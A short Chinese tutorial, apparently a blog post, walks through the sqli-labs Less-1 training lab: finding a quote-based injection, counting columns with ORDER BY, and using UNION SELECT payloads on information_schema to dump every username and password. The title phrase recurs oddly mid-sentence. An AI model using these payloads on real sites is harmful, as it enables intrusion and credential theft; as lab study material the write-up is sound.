从sqli-labs学到的注入方法

有时在URL注入时,#不能起到注释作用,这时可以用–+来进行注释

sqli-labs/Less-1:
首先,输入/?id=1,发现页面正常。从sqli-labs学到的注入方法输入/?id=1’页面错误,在’后面加上–+注释之后页面正常,说明sql语句为id=’$id’,现在可以利用单引号闭合与–+注释来进行注入。
利用order by 进行排序来获得字段数,发现/?id=1’ order by 3–+页面正常,/?id=1’ order by 4–+页面报错,从sqli-labs学到的注入方法所以有三个字段。利用union联合查询,输入一个不存在的id,(例如id=0,,8,555555),/?id=0’ union select 1,2,3–+发现有2,3两个页面显示位,从sqli-labs学到的注入方法先用/?id=0’ union select 1,(select group_concat(schema_name) from information_schema.schemata),3–+,在your login name后显示出所有数据库名,从sqli-labs学到的注入方法 用select database()查询出数据在security数据库中,从sqli-labs学到的注入方法 用select group_concat(table_name) from information_schema.tables where table_schema='security’查询出security数据库中所有的数据表名,从sqli-labs学到的注入方法 用select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’查询security数据库中的users数据表中的字段名,从sqli-labs学到的注入方法 再用/?id=0’ union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)–+就可以查询出这个数据表里所有的用户名和密码了从sqli-labs学到的注入方法